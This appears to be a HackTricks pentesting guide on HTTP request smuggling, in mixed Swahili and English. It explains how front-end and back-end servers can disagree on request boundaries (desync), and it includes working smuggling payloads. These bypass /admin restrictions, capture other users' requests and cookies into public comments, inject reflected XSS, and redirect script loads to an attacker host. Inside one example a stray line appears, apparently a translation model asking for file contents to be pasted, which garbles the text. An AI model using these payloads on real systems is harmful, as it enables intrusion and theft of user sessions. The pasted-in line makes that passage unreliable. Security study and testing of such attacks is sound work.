HTTP Request Smuggling / HTTP Desync Attack

Reading time: 32 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ni nini

Udhaifu huu hutokea wakati kuna desyncronization kati ya front-end proxies na back-end server inaporuhusu attacker send HTTP request itakayokuwa interpreted kama single request na front-end proxies (load balance/reverse-proxy) na as 2 request na back-end server.
Hii inaruhusu mtumiaji modify the next request that arrives to the back-end server after his.

Nadharia

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Ukweli

The Front-End (a load-balance / Reverse Proxy) process the content-length or the transfer-encoding header na Back-end server process the other one, ikisababisha desyncronization kati ya mifumo miwili.
Hii inaweza kuwa hatari sana kwa sababu an attacker will be able to send one request kwa reverse proxy ambayo ita interpreted na back-end server as 2 different requests. Hatari ya teknik hii iko katika ukweli kwamba back-end server will interpret the 2nd request injected kana kwamba came from the next client na real request ya mteja huyo itakuwa part ya injected request.

Maelezo maalum

Kumbuka kwamba katika HTTP a new line character is composed by 2 bytes:

  • Content-Length: Header hii inatumia decimal number kuonyesha number ya bytes za body ya request. Mwili unatarajiwa kumalizika kwa tabia ya mwisho; a new line is not needed in the end of the request.
  • Transfer-Encoding: Header hii hutumia kwenye body hexadecimal number kuashiria number ya bytes za next chunk. Chunk lazima end na new line lakini new line hii isn't counted na indiketa ya urefu. Mbinu hii ya transfer lazima iishe kwa chunk of size 0 followed by 2 new lines: 0
  • Connection: Kulingana na uzoefu wangu inashauriwa kutumia Connection: keep-alive kwenye request ya kwanza ya request Smuggling.

Visible - Hidden

Tatizo kuu na http/1.1 ni kwamba maombi yote huingia kwenye socket moja ya TCP, hivyo ikiwa kutatokea tofauti kati ya mifumo miwili inayopokea maombi inawezekana kutuma request moja itakayotendewa kama requests 2 tofauti (au zaidi) na backend ya mwisho (au hata mifumo ya kati).

This blog post inaonyesha njia mpya za kugundua desync attacks kwa mfumo ambazo hazitatambulika na WAFs. Kwa hili inatoa tabia za Visible vs Hidden. Lengo katika kesi hii ni kujaribu kupata tofauti katika response kwa kutumia mbinu zinazoweza kusababisha desync bila kwa kweli ku-exploit chochote.

Kwa mfano, kutuma request yenye host header ya kawaida na header " host", ikiwa backend inalalamika kuhusu request hii (labda kwa sababu thamani ya " host" si sahihi) inaweza kumaanisha kuwa front-end haikuona header ya " host" wakati backend uliotumika ulitumia, jambo ambalo linadhaniwa kuwa desync kati ya front-end na backend.

Hii ingekuwa Hidden-Visible discrepancy.

Iwapo front-end ingekuwa imezingatia header ya " host" lakini front-end haikuifanyia kazi, hii ingeweza kuwa hali ya Visible-Hidden.

Kwa mfano, hili liliruhusu kugundua desyncs kati ya AWS ALB kama front-end na IIS kama backend. Hii ilitokea kwa sababu wakati "Host: foo/bar" ilitumwa, ALB ilirejesha 400, Server; awselb/2.0, lakini wakati "Host : foo/bar" ilitumwa, ilirudisha 400, Server: Microsoft-HTTPAPI/2.0, ikionyesha backend ilituma response. Hii ni Hidden-Vissible (H-V) situation.

Kumbuka kuwa hali hii haijatengenezwa kwenye AWS, lakini inaweza kuzuiwa kwa kuweka routing.http.drop_invalid_header_fields.enabled na routing.http.desync_mitigation_mode = strictest.

Mifano ya Msingi

tip

Unapojaribu ku-exploit hili kwa Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings kwenye repeater kwa sababu baadhi ya gadgets hutumia newlines, carriage returns na malformed content-lengths.

HTTP request smuggling attacks zinatengenezwa kwa kutuma maombi yenye utata yanayotumia tofauti katika jinsi front-end na back-end servers zinavyotafsiri vichwa vya Content-Length (CL) na Transfer-Encoding (TE). Attacks hizi zinaweza kuonekana kwa aina mbalimbali, hasa kama CL.TE, TE.CL, na TE.TE. Kila aina inaonyesha mchanganyiko wa kipekee wa jinsi front-end na back-end servers wanavyopendelea vichwa hivi. Udhaifu hutokea kutokana na servers kuchakata ombi moja kwa njia tofauti, na kusababisha matokeo yasiyotegemewa na yenye hatari.

Mifano ya Msingi ya Aina za Udhaifu

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

Kwa meza iliyotangulia unapaswa kuongeza teknik ya TE.0, kama teknik ya CL.0 lakini ukitumia Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Inachakata request kulingana na kichwa cha Content-Length.

  • Back-End (TE): Inachakata request kulingana na kichwa cha Transfer-Encoding.

  • Attack Scenario:

  • Attacker anatumia request ambapo thamani ya kichwa cha Content-Length haifai na haifai na urefu halisi wa maudhui.

  • Front-end server hufikisha ombi lote kwa back-end, kulingana na thamani ya Content-Length.

  • Back-end server huchakata ombi kama chunked kutokana na kichwa cha Transfer-Encoding: chunked, akitafsiri data iliyobaki kama request nyingine iliyofuata.

  • Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Inachakata request kulingana na kichwa cha Transfer-Encoding.

  • Back-End (CL): Inachakata request kulingana na kichwa cha Content-Length.

  • Attack Scenario:

  • Attacker anatumia request ya chunked ambapo chunk size (7b) na content halisi (Content-Length: 4) hayalingani.

  • Front-end server, akitambua Transfer-Encoding, hufikisha ombi lote kwa back-end.

  • Back-end server, akizingatia Content-Length, huchakata sehemu tu ya awali ya request (7b bytes), ikiacha iliyobaki kuwa sehemu ya request isiyotarajiwa iliyofuata.

  • Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Zote mbili zinaungwa mkono Transfer-Encoding, lakini moja inaweza kudanganywa isiitambue kupitia obfuscation.

  • Attack Scenario:

  • Attacker anatumia request zenye vichwa vya Transfer-Encoding vilivyofifishwa.

  • Kutegemea ni server gani (front-end au back-end) itakayoshindwa kutambua obfuscation, CL.TE au TE.CL inaweza kutumiwa.

  • Sehemu isiyotambuliwa ya request, kama inavyoonekana na server moja, inakuwa sehemu ya request iliyofuata, ikisababisha smuggling.

  • Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Servers zote mbili zinachakata request kulingana na kichwa cha Content-Length.
  • Hali hii kwa kawaida haileti smuggling, kwa kuwa kuna muingiliano katika jinsi servers zote mbili zinaelewa urefu wa request.
  • Mfano:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Inarejelea matukio ambapo kichwa cha Content-Length kipo na kina thamani isiyo sifuri, ikionyesha kuwa body ya request ina maudhui. Back-end inapuuzia kichwa cha Content-Length (kinachochukuliwa kuwa 0), lakini front-end inalichambua.
  • Ni muhimu kuelewa na kutengeneza smuggling attacks, kwani huathiri jinsi servers zinavyoamua mwisho wa request.
  • Mfano:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Kama ilivyo hapo juu lakini ukitumia TE.
  • Technique reported here
  • Mfano:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Senario

Katika senario ya 0.CL, request imetumwa na Content-Length kama ifuatavyo:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Na front-end haizingatii Content-Length, hivyo inatuma tu ombi la kwanza kwa backend (hadi 7 katika mfano). Hata hivyo, backend inaona Content-Length na inasubiri body ambayo haitafika kwa sababu front-end tayari inasubiri jibu.

Walakini, ikiwa kuna ombi ambalo linaweza kutumwa kwa backend na linajibiwa kabla ya kupokea body ya ombi, mkwamo huu hautokee. Katika IIS kwa mfano hili hutokea unapotuma maombi kwa maneno marufuku kama /con (check the documentation), kwa njia hii, ombi la awali litajibiwa moja kwa moja na ombi la pili litakuwa na ombi la mwathiriwa kama:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Hii ni muhimu kusababisha desync, lakini haijakuwa na athari hadi sasa.

Hata hivyo, chapisho linatoa suluhisho kwa kubadilisha 0.CL attack into a CL.0 with a double desync.

Kuvunja web server

Mbinu hii pia ni muhimu katika mazingira ambapo inawezekana kuvunja web server wakati wa kusoma data za awali za HTTP lakini bila kufunga muunganisho. Kwa njia hii, mwili wa ombi la HTTP utachukuliwa kama ombi la HTTP lijalo.

Kwa mfano, kama ilivyoelezwa katika this writeup, katika Werkzeug ilikuwa inawezekana kutuma baadhi ya herufi za Unicode na hiyo itaifanya server kuvunjika. Walakini, ikiwa muunganisho wa HTTP ulikuwa umeundwa kwa header Connection: keep-alive, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo mwili wa ombi utachukuliwa kama ombi la HTTP lijalo.

Kuamisha kupitia hop-by-hop headers

Kwa kutumia ovyo hop-by-hop headers unaweza kuonyesha proxy kufuta header Content-Length au Transfer-Encoding ili HTTP request smuggling iweze kutumiwa.

Connection: Content-Length

Kwa maelezo zaidi kuhusu hop-by-hop headers tembelea:

hop-by-hop headers

Kutambua HTTP Request Smuggling

Kutambua vulnerabilities za HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia timing techniques, ambazo zinategemea kuangalia ni muda gani server inachukua kujibu requests zilizotumika. Mbinu hizi ni hasa muhimu kwa kugundua CL.TE na TE.CL vulnerabilities. Mbali na mbinu hizi, kuna mikakati na zana nyingine zinazoweza kutumika kutafuta vulnerabilities hizi:

Kupata CL.TE Vulnerabilities Using Timing Techniques

  • Method:

  • Tuma request ambayo, ikiwa application iko vunerable, itaifanya back-end server kusubiri data ya ziada.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Observation:

  • Front-end server inashughulikia request kulingana na Content-Length na kukata ujumbe mapema.

  • Back-end server, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haisindikii, na kusababisha kuchelewa.

  • Indicators:

  • Timeouts au ucheleweshaji mrefu katika majibu.

  • Kupokea 400 Bad Request kutoka kwa back-end server, mara nyingine kwa taarifa za kina za server.

Kupata TE.CL Vulnerabilities Using Timing Techniques

  • Method:

  • Tuma request ambayo, ikiwa application iko vunerable, itaifanya back-end server kusubiri data ya ziada.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • Front-end server inashughulikia request kulingana na Transfer-Encoding na kupeleka ujumbe wote kwa mbele.
  • Back-end server, ikitarajia ujumbe kulingana na Content-Length, inasubiri data ya ziada ambayo haisindikii, na kusababisha kuchelewa.

Mbinu Nyingine za Kupata Vulnerabilities

  • Differential Response Analysis:
  • Tuma matoleo kidogo tofauti ya request na uangalie kama majibu ya server yanatofautiana kwa njia isiyotarajiwa, ikionyesha kutofautiana katika parsing.
  • Using Automated Tools:
  • Zana kama extension ya Burp Suite 'HTTP Request Smuggler' zinaweza kujaribu kiotomatiki vulnerabilities hizi kwa kutuma aina mbalimbali za requests zenye utata na kuchambua majibu.
  • Content-Length Variance Tests:
  • Tuma requests zenye thamani tofauti za Content-Length ambazo hazilingani na urefu halisi wa content na uangalie jinsi server inavyoshughulikia mismatch kama hizo.
  • Transfer-Encoding Variance Tests:
  • Tuma requests zenye Transfer-Encoding zilizofichwa au zilizoharibika na subiri kuona jinsi front-end na back-end servers zinavyotofautiana katika kujibu mabadiliko hayo.

The Expect: 100-continue header

Kagua jinsi header hii inaweza kusaidia kutekeleza http desync katika:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Baada ya kuthibitisha ufanisi wa timing techniques, ni muhimu kuthibitisha kama client requests zinaweza kuathiriwa. Njia rahisi ni kujaribu kuchoma (poison) requests zako, kwa mfano, kufanya request kwa / ipate jibu la 404. Mifano ya CL.TE na TE.CL iliyotajwa hapo awali katika Basic Examples inaonyesha jinsi ya kuchoma request ya mteja ili kupata jibu la 404, licha ya mteja kujaribu kufikia rasilimali nyingine.

Masuala Muhimu

Unapotest kwa request smuggling kwa kuingilia requests za wengine, kumbuka:

  • Distinct Network Connections: Requests za "attack" na "normal" zinapaswa kutumwa kupitia network connections tofauti. Kutumia connection moja kwa zote mbili hakiathibitishi kuwepo kwa vulnerability.
  • Consistent URL and Parameters: Lenga kutumia URLs na majina ya parameter sawa kwa requests zote mbili. Applications za kisasa mara nyingi zinaelekeza requests kwa back-end servers maalum kulingana na URL na parameter. Kuwalinganisha kunoongeza uwezekano kuwa requests zote mbili zitatibiwa na server ileile, jambo muhimu kwa kufanikiwa kwa attack.
  • Timing and Racing Conditions: Request ya "normal", inayokusudiwa kugundua kuingiliwa na request ya "attack", inashindana na requests nyingine zinazoendelea za application. Kwa hiyo, tuma request ya "normal" mara tu baada ya request ya "attack". Applications zenye shughuli nyingi zinaweza kuhitaji majaribio mara kwa mara ili kupata uthibitisho.
  • Load Balancing Challenges: Front-end servers zinazofanya kama load balancers zinaweza kugawa requests kwa back-end systems mbalimbali. Ikiwa requests za "attack" na "normal" zinaisha kwenye systems tofauti, attack haitafanikiwa. Kipengele cha load balancing kinaweza kuhitaji majaribio kadhaa ili kuthibitisha vulnerability.
  • Unintended User Impact: Ikiwa attack yako bila kukusudia inaathiri request ya mtumiaji mwingine (siyo request ya "normal" uliotuma kwa ugunduzi), hii inaonyesha attack yako imeathiri mtumiaji mwingine wa application. Kuendelea kujaribu kunaweza kuvuruga watumiaji wengine, hivyo inashauriwa kuwa mwangalifu.

Kutofautisha artifacts za HTTP/1.1 pipelining dhidi ya request smuggling halisi

Connection reuse (keep-alive) na pipelining inaweza kwa urahisi kuleta dhana za "smuggling" katika zana za testing ambazo zinatuma requests nyingi kwenye socket moja. Jifunze kutenganisha artifacts zisizo hatari za client-side dhidi ya desync halisi ya server-side.

Kwa nini pipelining inaunda false positives za kawaida

HTTP/1.1 inarudisha matumizi ya TCP/TLS connection moja na kuunganisha requests na responses kwenye stream moja. Katika pipelining, client inatuma requests nyingi moja baada ya nyingine na kutegemea majibu kwa mtiririko huo. False-positive ya kawaida ni kutuma tena payload iliyoharibika ya CL.0-style mara mbili kwenye connection moja:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

I don't have the file contents. Please paste the text from src/pentesting-web/http-request-smuggling/README.md that you want translated to Swahili, and I'll translate it following your rules.

HTTP/1.1 200 OK
Content-Type: text/html


HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Ikiwa server ilipuuzia Content_Length isiyokuwa sahihi, hakuna FE↔BE desync. Kwa reuse, mteja wako kwa kweli alituma mtiririko huu wa byte, ambao server ikaichambua kama requests mbili huru:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. Umeondoa tu synchronisation ya client yako na framingi ya server.

tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Mitihani ya Litmus: pipelining au desync halisi?

  1. Disable reuse and re-test
  • Katika Burp Intruder/Repeater, zima HTTP/1 reuse na epuka "Send group in sequence".
  • Katika Turbo Intruder, weka requestsPerConnection=1 na pipeline=False.
  • Ikiwa tabia inapotea, ilikuwa inaelekea kuwa pipelining upande wa client, isipokuwa unaposhughulika na targets zilizo connection-locked/stateful au client-side desync.
  1. HTTP/2 nested-response check
  • Tuma ombi la HTTP/2. Ikiwa mwili wa response una response kamili ya HTTP/1 iliyofichwa, umeonesha bug ya backend parsing/desync badala ya artifact safi ya client.
  1. Partial-requests probe kwa front-ends zilizofungwa kwa connection
  • Baadhi ya FEs hutumia tena connection ya upstream BE tu ikiwa client yao ilitumia tena yao. Tumia partial-requests kugundua tabia ya FE inayorudia reuse ya client.
  • Angalia PortSwigger "Browser‑Powered Desync Attacks" kwa mbinu ya connection-locked.
  1. State probes
  • Tafuta tofauti kati ya ombi la kwanza na maagizo yaliyofuata kwenye TCP connection ile ile (first-request routing/validation).
  • Burp "HTTP Request Smuggler" ina connection‑state probe inayofanya hili kuwa automatiska.
  1. Visualize the wire
  • Tumia Burp "HTTP Hacker" extension kuchunguza concatenation na message framing moja kwa moja wakati wa kujaribu reuse na partial requests.

Connection‑locked request smuggling (reuse-required)

Baadhi ya front-ends hutumia tena connection ya upstream tu wakati client inaitumia yao. Smuggling halisi ipo lakini ni conditional kwa client-side reuse. Ili kutofautisha na kuthibitisha athari:

  • Thibitisha server-side bug
  • Tumia HTTP/2 nested-response check, au
  • Tumia partial-requests kuonyesha FE inatumia tena upstream tu wakati client inafanya hivyo.
  • Onyesha athari halisi hata kama udhalilishaji wa socket wa msimamizi mwingine umekwama:
    • Cache poisoning: poison shared caches kupitia desync ili responses ziathiri watumiaji wengine.
    • Internal header disclosure: reflect FE-injected headers (mfano, auth/trust headers) na pivia kuelekea auth bypass.
    • Bypass FE controls: smuggle restricted paths/methods mbele ya front-end.
    • Host-header abuse: unda mchanganyiko na quirks za host routing ili pivia kwenye internal vhosts.
  • Operator workflow
    • Rudia na reuse iliyodhibitiwa (Turbo Intruder requestsPerConnection=2, au Burp Repeater tab group → "Send group in sequence (single connection)").
    • Kisha fanya chain kwa primitives za cache/header-leak/control-bypass na onyesha athari kwa watumiaji wengine au kuingilia idhini.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Ikiwa unalenga browser-powered/client-side desync, ombi la mbaya lazima liwe linaweza kutumwa na browser cross-origin. Header obfuscation tricks hazitafanya kazi. Zingatia primitives zinazoweza kufikiwa kupitia navigation/fetch, kisha pivia kwa cache poisoning, internal header disclosure, au front-end control bypass pale ambapo components za downstream zinaonyesha au kuzihifadhi responses.

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precise control over connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.

note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Mara nyingine, front-end proxies hufanya utekelezaji wa hatua za usalama, wakichunguza incoming requests. Hata hivyo, hatua hizi zinaweza kupitishwa kwa kutumia HTTP Request Smuggling, kuruhusu upatikanaji usioidhinishwa kwa endpoints zilizofungwa. Kwa mfano, kufikia /admin kunaweza kushindwa kutoka nje, na front-end proxy ikizuia jaribio hilo kwa uangalizi. Hata hivyo, proxy hii inaweza kushindwa kuchunguza requests zilizowekwa ndani ya ombi lililosmuggled, ikiacha mwanya wa kupitisha vizuizi hivi.

Fikiria mifano ifuatayo ikiyoelezea jinsi HTTP Request Smuggling inavyoweza kutumika kupitisha controls za usalama za front-end, hasa ikilenga path /admin ambayo kwa kawaida inalindwa na front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Katika shambulio la CL.TE, kichwa cha Content-Length kinatumika kwa ombi la awali, wakati ombi lililojengwa baadaye linatumia kichwa cha Transfer-Encoding: chunked. front-end proxy inashughulikia ombi la awali la POST lakini inashindwa kukagua ombi lililojengwa la GET /admin, ikiruhusu upatikanaji usioidhinishwa wa njia ya /admin.

TE.CL Mfano

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la POST linatumia Transfer-Encoding: chunked, na ombi lililojumuishwa baadaye linashughulikiwa kwa msingi wa kichwa cha Content-Length. Kama katika shambulio la CL.TE, front-end proxy inapuuza ombi la GET /admin lililochomwa ndani, na kwa bahati mbaya hutoa ufikiaji wa njia iliyozuiliwa /admin.

Kufichua kuandika upya maombi ya front-end

Maombi mara nyingi hutumia front-end server ili kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa back-end server. Marekebisho ya kawaida ni pamoja na kuongeza headers, kama X-Forwarded-For: <IP of the client>, ili kumtumia IP ya mteja kwa back-end. Kuelewa marekebisho haya inaweza kuwa muhimu, kwani yanaweza kufichua njia za bypass protections au gundua taarifa zilizofichwa au endpoints.

Ili kuchunguza jinsi proxy inavyobadilisha ombi, tafuta parameter ya POST ambayo back-end inarejea katika jibu. Kisha, tengeneza ombi ukiwa umeweka parameter hii mwishoni, sawia na yafuatayo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Katika muundo huu, vipengele vya ombi vinavyofuata vinaongezwa baada ya search=, ambayo ni parameter inayorejeshwa katika jibu. Ufunuo huu utaonyesha headers za ombi linalofuata.

Ni muhimu kuoanisha header ya Content-Length ya ombi lililokuwa ndani na urefu halisi wa maudhui. Ni vyema kuanza kwa thamani ndogo na kuongeza polepole, kwa kuwa thamani iliyopo chini sana itakata data iliyorejeshwa, huku thamani iliyopo juu sana ikisababisha ombi lipate kosa.

Mbinu hii pia inafaa katika muktadha wa TE.CL vulnerability, lakini ombi linapaswa kumalizika na search=\r\n0. Bila kujali tabia za newline, thamani zitataongezwa kwa parameter ya search.

Njia hii kwa msingi wake hutumika kuelewa mabadiliko ya maombi yanayofanywa na front-end proxy, kwa maana kufanya uchunguzi unaojielekeza.

Kukamata maombi ya watumiaji wengine

Inawezekana kukamata maombi ya mtumiaji anayefuata kwa kuambatanisha ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa ni jinsi hili linavyoweza kufanywa:

Kwa kuambatanisha ombi lifuatalo kama thamani ya parameter, unaweza kuhifadhi ombi la mteja linalofuata:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Katika senario hii, kigezo cha maoni kimekusudiwa kuhifadhi yaliyomo ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaoweza kufikiwa hadharani. Kwa hivyo, yaliyomo ya ombi linalofuata yataonekana kama maoni.

Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi mtenganishi wa kigezo unaotumiwa katika ombi lililofichwa. Kwa maombi ya fomu za URL-encoded, mtenganishi huu ni tabia ya &. Hii inamaanisha yaliyomo yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathirika yatakoma kwa & ya kwanza, ambayo hata inaweza kuwa sehemu ya query string.

Zaidi ya hayo, inafaa kutambua kwamba njia hii pia inafaa kwa TE.CL vulnerability. Katika kesi hizo, ombi linapaswa kumalizika kwa search=\r\n0. Bila kujali newline characters, thamani zitaongezwa kwa kigezo la search.

Kutumia HTTP Request Smuggling ku-exploit Reflected XSS

HTTP Request Smuggling inaweza kutumika ku-exploit kurasa za wavuti zilizo hatarini kwa Reflected XSS, ikitoa faida kubwa:

  • Kushirikiana na watumiaji wa lengo si kunahitajika.
  • Inaruhusu exploitation ya XSS katika sehemu za ombi ambazo kwa kawaida ni haziwezekani kufikiwa, kama HTTP request headers.

Katika matukio ambapo tovuti inavyoathirika na Reflected XSS kupitia header ya User-Agent, payload ifuatayo inaonyesha jinsi ya ku-exploit udhaifu huu:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload imepangwa ili kuchochea udhaifu kwa:

  1. Kuanza ombi la POST, ambalo linaonekana la kawaida, likiwa na kichwa Transfer-Encoding: chunked kuashiria kuanza kwa smuggling.
  2. Ikifuatiwa na 0, ikionyesha mwisho wa mwili wa ujumbe wa chunked.
  3. Kisha, ombi la GET smuggled linaingizwa, ambapo kichwa User-Agent kimejazwa na script, <script>alert(1)</script>, kinachosababisha XSS wakati server inaposindika ombi hili la baada.

Kwa kudhibiti User-Agent kupitia smuggling, payload inapita vikwazo vya kawaida vya ombi, na hivyo kutumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.

HTTP/0.9

caution

Iwapo maudhui ya mtumiaji yanarudishwa kwenye response yenye Content-type kama text/plain, hayo yanaweza kuzuia utekelezaji wa XSS. Ikiwa server inaunga mkono HTTP/0.9 inaweza kuwa inawezekana kuipita hii!

Toleo la HTTP/0.9 lilitangulia 1.0 na linatumia tu vitenzi vya GET na halirudii kwa headers, bali mwili tu.

Katika this writeup, hili lilitumiwa vibaya kwa request smuggling na vulnerable endpoint that will reply with the input of the user ili smuggle ombi kwa HTTP/0.9. Parameter ambayo ilirudishwa kwenye response ilijumuisha fake HTTP/1.1 response (with headers and body) hivyo response ilijazwa na msimbo sahihi wa JS unaotekelezeka na Content-Type ya text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Applications mara nyingi zinaelekeza tena kutoka URL moja hadi nyingine kwa kutumia hostname kutoka kwa kichwa cha Host katika URL ya redirect. Hii ni ya kawaida kwenye web servers kama Apache na IIS. Kwa mfano, kuomba folder bila slash ya mwisho husababisha redirect ili kuongeza slash:

GET /home HTTP/1.1
Host: normal-website.com

Inasababisha:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Ingawa inaonekana haina madhara, tabia hii inaweza kutumiwa kwa kutumia HTTP request smuggling ili kumwelekeza watumiaji kwenda tovuti ya nje. Kwa mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ombi hili la smuggled request linaweza kusababisha ombi la mtumiaji linalofanyiwa kazi linalofuata kupelekwa kwenye attacker-controlled website:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Inasababisha:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Katika hali hii, ombi la mtumiaji kwa faili ya JavaScript linachukuliwa kwa nguvu. Mshambuliaji anaweza kuweza kuvunja usalama wa mtumiaji kwa kutoa JavaScript hatarishi kama majibu.

Kutumia Web Cache Poisoning kupitia HTTP Request Smuggling

Web cache poisoning inaweza kufanyika ikiwa sehemu yoyote ya miundombinu ya front-end huhifadhi maudhui, kawaida ili kuboresha utendaji. Kwa kuingilia majibu ya server, inawezekana poison the cache.

